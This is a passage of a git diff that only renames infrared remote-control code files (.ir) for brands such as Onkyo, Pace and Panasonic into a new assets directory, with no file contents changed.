a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir similarity index 100% rename from 